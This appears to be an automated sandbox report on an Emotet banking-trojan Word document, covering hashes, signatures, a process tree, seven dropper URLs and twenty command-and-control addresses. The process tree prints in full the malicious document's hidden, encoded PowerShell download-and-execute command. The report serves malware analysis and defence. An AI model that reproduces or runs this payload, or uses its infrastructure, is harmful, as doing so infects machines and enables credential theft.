Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    74s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    21/12/2020, 19:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_081a93744d2467b4fbb8f48647345615125a87272d59bc2b49a5bceae5b6d4e9_2020-12-21__194102075294._doc.doc
  • Size 192KB
  • Sample201221-vgq7v72qds
  • SHA256 081a93744d2467b4fbb8f48647345615125a87272d59bc2b49a5bceae5b6d4e9
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://pos-egypt.com/wp-content/xTr/
  • exe.dropper

    http://jarodcharity.org/wp-includes/9ocR/
  • exe.dropper

    http://elemsindikat.com.mk/shadow-vip-2pxdt/Pyh/
  • exe.dropper

    http://mateusz1infa.5v.pl/titan-structures-dotzt/Rl555/
  • exe.dropper

    http://cheetahridge.mediadevstaging.com/c/B/
  • exe.dropper

    http://preparateparaloquevenga.com/predisi-tgl-jlpml/jjvCL/
  • exe.dropper

    http://talkischeap.co.za/4-pin-iscru/t7k/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 197.87.160.216:80

  • 78.188.225.105:80

  • 50.116.111.59:8080

  • 173.249.20.233:443

  • 188.165.214.98:8080

  • 188.219.31.12:80

  • 157.245.99.39:8080

  • 172.125.40.123:80

  • 62.30.7.67:443

  • 120.150.60.189:80

  • 109.74.5.95:8080

  • 67.10.155.92:80

  • 67.170.250.203:443

  • 2.58.16.89:8080

  • 186.74.215.34:80

  • 202.141.243.254:443

  • 118.83.154.64:443

  • 172.86.188.251:8080

  • 37.187.72.193:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_081a93744d2467b4fbb8f48647345615125a87272d59bc2b49a5bceae5b6d4e9_2020-12-21__194102075294._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1776
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAFMARQBUACAAIABBAHUANgB3AEoAIAAoACAAIABbAHQAWQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewAyAH0AIgAtAEYAJwBpAG8ALgBEAEkAUgBFAGMAVAAnACwAJwBzAFkAJwAsACcAbwByAFkAJwAsACcAUwB0AEUATQAuACcAKQAgACAAKQAgADsAIAAgACAAIAAkAEYAVQBCAHYAMAAgACAAPQBbAFQAWQBwAGUAXQAoACIAewA0AH0AewAyAH0AewAwAH0AewAzAH0AewAxAH0AewA1AH0AIgAgAC0ARgAgACcAUgB2AEkAJwAsACcAZQBQAG8AaQBOAHQAbQBhACcALAAnAEUATQAuAG4ARQB0AC4AUwBFACcALAAnAGMAJwAsACcAcwB5AFMAdAAnACwAJwBuAGEAZwBFAHIAJwApACAAOwAgACQASgBpAHkAMwAyAGwAagA9ACgAKAAnAFcAJwArACcAagA3AGwAJwApACsAJwB4AHkAJwArACcAMwAnACkAOwAkAEoAawBoAGgANwA5ADgAPQAkAEMANgBzAGIAMwBlADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AbQB0AG4AdQBrAGEAOwAkAEgAOQA1AHkAagBmAGYAPQAoACcATABpACcAKwAoACcAaAAzAGgAJwArACcAcAA0ACcAKQApADsAIAAgACgAIAAgAEcAYwBJACAAIABWAGEAUgBpAGEAYgBsAEUAOgBhAHUANgBXAEoAIAAgACkALgBWAGEAbAB1AEUAOgA6ACIAYwBSAGAARQBBAFQAZQBgAEQAYABpAFIARQBjAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAB9AFIAegBpAGQAJwArACcAYQBjADIAewAwAH0AQgBuADYAcgBtAGIAXwB7ACcAKwAnADAAJwArACcAfQAnACkALQBGACAAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAUABpAG8AcwB1ADAAdAA9ACgAKAAnAEkAcQAnACsAJwBpAG8AJwApACsAKAAnADMAJwArACcAOABxACcAKQApADsAIAAoAGkAdABlAG0AIAAgAHYAQQByAEkAYQBiAGwAZQA6AGYAVQBiAHYAMAAgACAAKQAuAHYAQQBsAFUAZQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAWQBgAHAAUgBPAGAAVABPAEMATwBsACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABHAHQAYgAxADYAZABuAD0AKAAoACcAUwAnACsAJwBkAHcAJwApACsAKAAnAHQAOABmACcAKwAnAGEAJwApACkAOwAkAEgAawA0AHcAMQBwADIAIAA9ACAAKAAnAE4AZgAnACsAKAAnADMAJwArACcAbQA4ACcAKQArACcAcwAnACkAOwAkAEkAbwB2AG4ANAA5ADIAPQAoACcATgAzACcAKwAoACcAdwBzAHkAbwAnACsAJwBkACcAKQApADsAJABNADYAcQA0AHEAbQBfAD0AKAAnAEUAcQAnACsAKAAnAGQAJwArACcANgB4AGYAZQAnACkAKQA7ACQATwBhADEAZwAxAGEAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9ACcAKwAoACcAUgAnACsAJwB6AGkAZABhACcAKwAnAGMAJwApACsAJwAyAHsAMAB9AEIAbgA2AHIAbQBiAF8AewAnACsAJwAwACcAKwAnAH0AJwApAC0AZgBbAGMAaABhAFIAXQA5ADIAKQArACQASABrADQAdwAxAHAAMgArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAFQAMQB6AGwAagAyAHUAPQAoACcAWQBzACcAKwAoACcAYwAzAGwAJwArACcAeABuACcAKQApADsAJABIADkAYQBwAHIAYwBoAD0AbgBFAFcALQBvAGAAQgBgAEoAZQBDAFQAIABOAGUAdAAuAHcAZQBiAGMATABJAEUATgBUADsAJABIAHYAZgA5AGMAdQA4AD0AKAAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoAJwApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAJwArACcAMwBzADIAJwArACcAKQAoAEoAKQAoACcAKwAnADMAcwAyACkAKAAnACkAKQArACgAJwBwAG8AJwArACcAcwAtAGUAJwApACsAKAAnAGcAJwArACcAeQBwACcAKQArACcAdAAuACcAKwAnAGMAbwAnACsAJwBtAEoAJwArACgAKAAnACkAKAAnACsAJwAzACcAKQApACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKAB3ACcAKQApACsAJwBwACcAKwAnAC0AJwArACgAKAAnAGMAbwBuACcAKwAnAHQAZQBuACcAKwAnAHQASgApACgAMwBzADIAKQAoAHgAJwArACcAVAAnACsAJwByAEoAKQAoACcAKQApACsAJwAzAHMAJwArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAQABoACcAKwAnAHQAdABwADoASgApACcAKwAnACgAMwAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcASgAnACsAJwApACcAKQApACsAJwAoACcAKwAoACcAMwAnACsAJwBzADIAJwApACsAKAAoACcAKQAoAGoAYQAnACsAJwByACcAKQApACsAJwBvAGQAJwArACcAYwBoACcAKwAoACcAYQByAGkAJwArACcAdAAnACkAKwAoACcAeQAuAG8AcgAnACsAJwBnAEoAJwApACsAKAAoACcAKQAnACsAJwAoADMAcwAyACkAKAAnACkAKQArACcAdwBwACcAKwAoACcALQBpAG4AYwBsAHUAZAAnACsAJwBlAHMAJwArACcASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzACcAKwAnADIAKQAoADkAJwApACkAKwAnAG8AYwAnACsAJwBSAEoAJwArACgAKAAnACkAKAAzACcAKwAnAHMAJwApACkAKwAnADIAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBAAGgAJwArACcAdAB0AHAAJwApACkAKwAoACgAJwA6ACcAKwAnAEoAKQAoADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAEoAJwApACkAKwAoACgAJwApACcAKwAnACgAMwBzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBlAGwAJwApACkAKwAoACcAZQAnACsAJwBtAHMAaQAnACsAJwBuAGQAaQBrAGEAdAAnACkAKwAoACcALgBjAG8AbQAuAG0AJwArACcAawAnACkAKwAoACgAJwBKACkAJwArACcAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAnACkAJwArACgAKAAnACgAcwBoACcAKwAnAGEAJwApACkAKwAnAGQAJwArACgAJwBvAHcAJwArACcALQAnACkAKwAoACcAdgBpACcAKwAnAHAALQAyAHAAJwArACcAeABkACcAKQArACcAdABKACcAKwAnACkAJwArACgAKAAnACgAMwBzADIAKQAnACsAJwAoACcAKQApACsAKAAoACcAUAB5ACcAKwAnAGgASgApACgAMwAnACsAJwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcAQABoAHQAJwApACkAKwAoACcAdABwACcAKwAnADoAJwApACsAKAAoACcASgApACgAJwArACcAMwBzACcAKwAnADIAKQAoAEoAJwArACcAKQAoACcAKQApACsAKAAoACcAMwBzADIAJwArACcAKQAoAG0AJwApACkAKwAoACcAYQAnACsAJwB0AGUAdQBzAHoAMQAnACsAJwBpACcAKwAnAG4AZgBhACcAKQArACgAKAAnAC4ANQB2AC4AcAAnACsAJwBsACcAKwAnAEoAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoACcAKwAnAHQAaQAnACkAKQArACcAdABhACcAKwAoACcAbgAtACcAKwAnAHMAdAAnACkAKwAoACcAcgB1ACcAKwAnAGMAJwApACsAJwB0ACcAKwAoACcAdQAnACsAJwByAGUAJwApACsAKAAoACcAcwAnACsAJwAtAGQAbwB0AHoAdABKACkAKAAzAHMAJwArACcAMgApACgAUgBsADUAJwArACcANQAnACkAKQArACgAKAAnADUASgApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABAAGgAJwArACcAdAAnACkAKQArACcAdABwACcAKwAoACgAJwA6AEoAJwArACcAKQAoADMAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcASgApACcAKQApACsAJwAoACcAKwAoACgAJwAzAHMAMgAnACsAJwApACgAYwBoACcAKwAnAGUAZQAnACkAKQArACcAdAAnACsAJwBhACcAKwAnAGgAcgAnACsAKAAnAGkAJwArACcAZABnAGUALgAnACkAKwAoACcAbQBlACcAKwAnAGQAJwApACsAJwBpAGEAJwArACgAJwBkAGUAJwArACcAdgAnACsAJwBzAHQAYQBnACcAKQArACcAaQBuACcAKwAoACgAJwBnAC4AYwBvACcAKwAnAG0ASgApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKABjAEoAKQAnACsAJwAoADMAcwAnACsAJwAyACcAKwAnACkAKABCAEoAKQAoADMAcwAyACkAKAAnACkAKQArACcAQAAnACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACgAJwBKACkAJwArACcAKAAzAHMAJwArACcAMgApACgAJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgApACgAcAAnACsAJwByAGUAcABhAHIAYQAnACsAJwB0AGUAcAAnACkAKQArACcAYQByACcAKwAoACcAYQAnACsAJwBsAG8AcQAnACkAKwAoACcAdQBlACcAKwAnAHYAZQBuAGcAYQAuACcAKQArACgAJwBjAG8AbQAnACsAJwBKACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAMwAnACsAJwBzADIAJwApACsAKAAoACcAKQAnACsAJwAoAHAAcgBlAGQAJwArACcAaQBzAGkAJwApACkAKwAoACgAJwAtAHQAJwArACcAZwBsACcAKwAnAC0AagBsACcAKwAnAHAAbQBsAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKwAnAGoAagB2AEMAJwApACkAKwAoACgAJwBMACcAKwAnAEoAJwArACcAKQAoADMAcwAyACkAKABAACcAKQApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAEoAJwArACgAKAAnACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBKACcAKwAnACkAKAAzAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAJwB0AGEAJwArACcAbABrAGkAJwApACsAKAAnAHMAJwArACcAYwBoACcAKQArACgAJwBlACcAKwAnAGEAcAAuACcAKQArACcAYwBvACcAKwAnAC4AegAnACsAJwBhACcAKwAoACgAJwBKACkAJwApACkAKwAoACgAJwAoADMAcwAyACkAJwArACcAKAAnACkAKQArACgAKAAnADQALQBwAGkAJwArACcAbgAtAGkAJwArACcAcwBjAHIAJwArACcAdQBKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAHQAJwApACkAKwAoACgAJwA3ACcAKwAnAGsASgApACgAJwArACcAMwBzACcAKQApACsAJwAyACcAKwAoACgAJwApACgAJwApACkAKQApAC4AIgByAGUAUABMAGAAQQBgAGMARQAiACgAKAAoACcASgAnACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzADIAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBwAEwAYABpAHQAIgAoACQATAB2AGoAcgByAHoAbgAgACsAIAAkAEoAawBoAGgANwA5ADgAIAArACAAJABMAGoAaABuADUANwBfACkAOwAkAFIAOQAyADkAMQAzAGwAPQAoACcASQBwACcAKwAnADYAJwArACgAJwA5AGoAJwArACcAaABhACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABMAHgAdwBqAHcANgA3ACAAaQBuACAAJABIAHYAZgA5AGMAdQA4ACAAfAAgAFMAbwBgAFIAVABgAC0AbwBCAGoAYABlAEMAdAAgAHsAZwBlAFQAYAAtAGAAUgBgAEEATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQASAA5AGEAcAByAGMAaAAuACIAZABgAG8AYABXAG4AbABPAGEARABmAEkAYABMAGUAIgAoACQATAB4AHcAagB3ADYANwAsACAAJABPAGEAMQBnADEAYQBoACkAOwAkAEMAbwBwAGIANwB4AGkAPQAoACcASgB6ACcAKwAoACcAOABfAHUAJwArACcAZwAnACkAKwAnAGgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE8AYQAxAGcAMQBhAGgAKQAuACIAbABlAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADEAMQA0ADkAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBhADEAZwAxAGEAaAAsACcAIwAxACcALgAiAHQAYABPAHMAdABSAGAAaQBOAGcAIgAoACkAOwAkAFIAZABvADgAcABhAHkAPQAoACcATgBnACcAKwAoACcAYgA2ACcAKwAnAHAAMgAnACkAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABSAGsAcAByADkAdABhAD0AKAAoACcAUgB2ACcAKwAnAGIAJwApACsAJwA3AGwAJwArACcAaABlACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBwAHYAZQB4AHcAegA9ACgAKAAnAFQAMwBuAHIAJwArACcAZwAnACkAKwAnAGkAOQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1436
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1452
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAgAFMARQBUACAAIABBAHUANgB3AEoAIAAoACAAIABbAHQAWQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewAyAH0AIgAtAEYAJwBpAG8ALgBEAEkAUgBFAGMAVAAnACwAJwBzAFkAJwAsACcAbwByAFkAJwAsACcAUwB0AEUATQAuACcAKQAgACAAKQAgADsAIAAgACAAIAAkAEYAVQBCAHYAMAAgACAAPQBbAFQAWQBwAGUAXQAoACIAewA0AH0AewAyAH0AewAwAH0AewAzAH0AewAxAH0AewA1AH0AIgAgAC0ARgAgACcAUgB2AEkAJwAsACcAZQBQAG8AaQBOAHQAbQBhACcALAAnAEUATQAuAG4ARQB0AC4AUwBFACcALAAnAGMAJwAsACcAcwB5AFMAdAAnACwAJwBuAGEAZwBFAHIAJwApACAAOwAgACQASgBpAHkAMwAyAGwAagA9ACgAKAAnAFcAJwArACcAagA3AGwAJwApACsAJwB4AHkAJwArACcAMwAnACkAOwAkAEoAawBoAGgANwA5ADgAPQAkAEMANgBzAGIAMwBlADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AbQB0AG4AdQBrAGEAOwAkAEgAOQA1AHkAagBmAGYAPQAoACcATABpACcAKwAoACcAaAAzAGgAJwArACcAcAA0ACcAKQApADsAIAAgACgAIAAgAEcAYwBJACAAIABWAGEAUgBpAGEAYgBsAEUAOgBhAHUANgBXAEoAIAAgACkALgBWAGEAbAB1AEUAOgA6ACIAYwBSAGAARQBBAFQAZQBgAEQAYABpAFIARQBjAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAB9AFIAegBpAGQAJwArACcAYQBjADIAewAwAH0AQgBuADYAcgBtAGIAXwB7ACcAKwAnADAAJwArACcAfQAnACkALQBGACAAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAUABpAG8AcwB1ADAAdAA9ACgAKAAnAEkAcQAnACsAJwBpAG8AJwApACsAKAAnADMAJwArACcAOABxACcAKQApADsAIAAoAGkAdABlAG0AIAAgAHYAQQByAEkAYQBiAGwAZQA6AGYAVQBiAHYAMAAgACAAKQAuAHYAQQBsAFUAZQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAWQBgAHAAUgBPAGAAVABPAEMATwBsACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABHAHQAYgAxADYAZABuAD0AKAAoACcAUwAnACsAJwBkAHcAJwApACsAKAAnAHQAOABmACcAKwAnAGEAJwApACkAOwAkAEgAawA0AHcAMQBwADIAIAA9ACAAKAAnAE4AZgAnACsAKAAnADMAJwArACcAbQA4ACcAKQArACcAcwAnACkAOwAkAEkAbwB2AG4ANAA5ADIAPQAoACcATgAzACcAKwAoACcAdwBzAHkAbwAnACsAJwBkACcAKQApADsAJABNADYAcQA0AHEAbQBfAD0AKAAnAEUAcQAnACsAKAAnAGQAJwArACcANgB4AGYAZQAnACkAKQA7ACQATwBhADEAZwAxAGEAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9ACcAKwAoACcAUgAnACsAJwB6AGkAZABhACcAKwAnAGMAJwApACsAJwAyAHsAMAB9AEIAbgA2AHIAbQBiAF8AewAnACsAJwAwACcAKwAnAH0AJwApAC0AZgBbAGMAaABhAFIAXQA5ADIAKQArACQASABrADQAdwAxAHAAMgArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAFQAMQB6AGwAagAyAHUAPQAoACcAWQBzACcAKwAoACcAYwAzAGwAJwArACcAeABuACcAKQApADsAJABIADkAYQBwAHIAYwBoAD0AbgBFAFcALQBvAGAAQgBgAEoAZQBDAFQAIABOAGUAdAAuAHcAZQBiAGMATABJAEUATgBUADsAJABIAHYAZgA5AGMAdQA4AD0AKAAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoAJwApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAJwArACcAMwBzADIAJwArACcAKQAoAEoAKQAoACcAKwAnADMAcwAyACkAKAAnACkAKQArACgAJwBwAG8AJwArACcAcwAtAGUAJwApACsAKAAnAGcAJwArACcAeQBwACcAKQArACcAdAAuACcAKwAnAGMAbwAnACsAJwBtAEoAJwArACgAKAAnACkAKAAnACsAJwAzACcAKQApACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKAB3ACcAKQApACsAJwBwACcAKwAnAC0AJwArACgAKAAnAGMAbwBuACcAKwAnAHQAZQBuACcAKwAnAHQASgApACgAMwBzADIAKQAoAHgAJwArACcAVAAnACsAJwByAEoAKQAoACcAKQApACsAJwAzAHMAJwArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAQABoACcAKwAnAHQAdABwADoASgApACcAKwAnACgAMwAnACkAKQArACgAKAAnAHMAMgApACgAJwArACcASgAnACsAJwApACcAKQApACsAJwAoACcAKwAoACcAMwAnACsAJwBzADIAJwApACsAKAAoACcAKQAoAGoAYQAnACsAJwByACcAKQApACsAJwBvAGQAJwArACcAYwBoACcAKwAoACcAYQByAGkAJwArACcAdAAnACkAKwAoACcAeQAuAG8AcgAnACsAJwBnAEoAJwApACsAKAAoACcAKQAnACsAJwAoADMAcwAyACkAKAAnACkAKQArACcAdwBwACcAKwAoACcALQBpAG4AYwBsAHUAZAAnACsAJwBlAHMAJwArACcASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzACcAKwAnADIAKQAoADkAJwApACkAKwAnAG8AYwAnACsAJwBSAEoAJwArACgAKAAnACkAKAAzACcAKwAnAHMAJwApACkAKwAnADIAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBAAGgAJwArACcAdAB0AHAAJwApACkAKwAoACgAJwA6ACcAKwAnAEoAKQAoADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAEoAJwApACkAKwAoACgAJwApACcAKwAnACgAMwBzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBlAGwAJwApACkAKwAoACcAZQAnACsAJwBtAHMAaQAnACsAJwBuAGQAaQBrAGEAdAAnACkAKwAoACcALgBjAG8AbQAuAG0AJwArACcAawAnACkAKwAoACgAJwBKACkAJwArACcAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAnACkAJwArACgAKAAnACgAcwBoACcAKwAnAGEAJwApACkAKwAnAGQAJwArACgAJwBvAHcAJwArACcALQAnACkAKwAoACcAdgBpACcAKwAnAHAALQAyAHAAJwArACcAeABkACcAKQArACcAdABKACcAKwAnACkAJwArACgAKAAnACgAMwBzADIAKQAnACsAJwAoACcAKQApACsAKAAoACcAUAB5ACcAKwAnAGgASgApACgAMwAnACsAJwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcAQABoAHQAJwApACkAKwAoACcAdABwACcAKwAnADoAJwApACsAKAAoACcASgApACgAJwArACcAMwBzACcAKwAnADIAKQAoAEoAJwArACcAKQAoACcAKQApACsAKAAoACcAMwBzADIAJwArACcAKQAoAG0AJwApACkAKwAoACcAYQAnACsAJwB0AGUAdQBzAHoAMQAnACsAJwBpACcAKwAnAG4AZgBhACcAKQArACgAKAAnAC4ANQB2AC4AcAAnACsAJwBsACcAKwAnAEoAKQAoACcAKwAnADMAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoACcAKwAnAHQAaQAnACkAKQArACcAdABhACcAKwAoACcAbgAtACcAKwAnAHMAdAAnACkAKwAoACcAcgB1ACcAKwAnAGMAJwApACsAJwB0ACcAKwAoACcAdQAnACsAJwByAGUAJwApACsAKAAoACcAcwAnACsAJwAtAGQAbwB0AHoAdABKACkAKAAzAHMAJwArACcAMgApACgAUgBsADUAJwArACcANQAnACkAKQArACgAKAAnADUASgApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABAAGgAJwArACcAdAAnACkAKQArACcAdABwACcAKwAoACgAJwA6AEoAJwArACcAKQAoADMAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcASgApACcAKQApACsAJwAoACcAKwAoACgAJwAzAHMAMgAnACsAJwApACgAYwBoACcAKwAnAGUAZQAnACkAKQArACcAdAAnACsAJwBhACcAKwAnAGgAcgAnACsAKAAnAGkAJwArACcAZABnAGUALgAnACkAKwAoACcAbQBlACcAKwAnAGQAJwApACsAJwBpAGEAJwArACgAJwBkAGUAJwArACcAdgAnACsAJwBzAHQAYQBnACcAKQArACcAaQBuACcAKwAoACgAJwBnAC4AYwBvACcAKwAnAG0ASgApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKABjAEoAKQAnACsAJwAoADMAcwAnACsAJwAyACcAKwAnACkAKABCAEoAKQAoADMAcwAyACkAKAAnACkAKQArACcAQAAnACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACgAJwBKACkAJwArACcAKAAzAHMAJwArACcAMgApACgAJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgApACgAcAAnACsAJwByAGUAcABhAHIAYQAnACsAJwB0AGUAcAAnACkAKQArACcAYQByACcAKwAoACcAYQAnACsAJwBsAG8AcQAnACkAKwAoACcAdQBlACcAKwAnAHYAZQBuAGcAYQAuACcAKQArACgAJwBjAG8AbQAnACsAJwBKACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAMwAnACsAJwBzADIAJwApACsAKAAoACcAKQAnACsAJwAoAHAAcgBlAGQAJwArACcAaQBzAGkAJwApACkAKwAoACgAJwAtAHQAJwArACcAZwBsACcAKwAnAC0AagBsACcAKwAnAHAAbQBsAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKwAnAGoAagB2AEMAJwApACkAKwAoACgAJwBMACcAKwAnAEoAJwArACcAKQAoADMAcwAyACkAKABAACcAKQApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAEoAJwArACgAKAAnACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKQApACsAKAAoACcAKAAnACsAJwBKACcAKwAnACkAKAAzAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAJwB0AGEAJwArACcAbABrAGkAJwApACsAKAAnAHMAJwArACcAYwBoACcAKQArACgAJwBlACcAKwAnAGEAcAAuACcAKQArACcAYwBvACcAKwAnAC4AegAnACsAJwBhACcAKwAoACgAJwBKACkAJwApACkAKwAoACgAJwAoADMAcwAyACkAJwArACcAKAAnACkAKQArACgAKAAnADQALQBwAGkAJwArACcAbgAtAGkAJwArACcAcwBjAHIAJwArACcAdQBKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAHQAJwApACkAKwAoACgAJwA3ACcAKwAnAGsASgApACgAJwArACcAMwBzACcAKQApACsAJwAyACcAKwAoACgAJwApACgAJwApACkAKQApAC4AIgByAGUAUABMAGAAQQBgAGMARQAiACgAKAAoACcASgAnACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzADIAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBwAEwAYABpAHQAIgAoACQATAB2AGoAcgByAHoAbgAgACsAIAAkAEoAawBoAGgANwA5ADgAIAArACAAJABMAGoAaABuADUANwBfACkAOwAkAFIAOQAyADkAMQAzAGwAPQAoACcASQBwACcAKwAnADYAJwArACgAJwA5AGoAJwArACcAaABhACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABMAHgAdwBqAHcANgA3ACAAaQBuACAAJABIAHYAZgA5AGMAdQA4ACAAfAAgAFMAbwBgAFIAVABgAC0AbwBCAGoAYABlAEMAdAAgAHsAZwBlAFQAYAAtAGAAUgBgAEEATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQASAA5AGEAcAByAGMAaAAuACIAZABgAG8AYABXAG4AbABPAGEARABmAEkAYABMAGUAIgAoACQATAB4AHcAagB3ADYANwAsACAAJABPAGEAMQBnADEAYQBoACkAOwAkAEMAbwBwAGIANwB4AGkAPQAoACcASgB6ACcAKwAoACcAOABfAHUAJwArACcAZwAnACkAKwAnAGgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE8AYQAxAGcAMQBhAGgAKQAuACIAbABlAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADEAMQA0ADkAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBhADEAZwAxAGEAaAAsACcAIwAxAC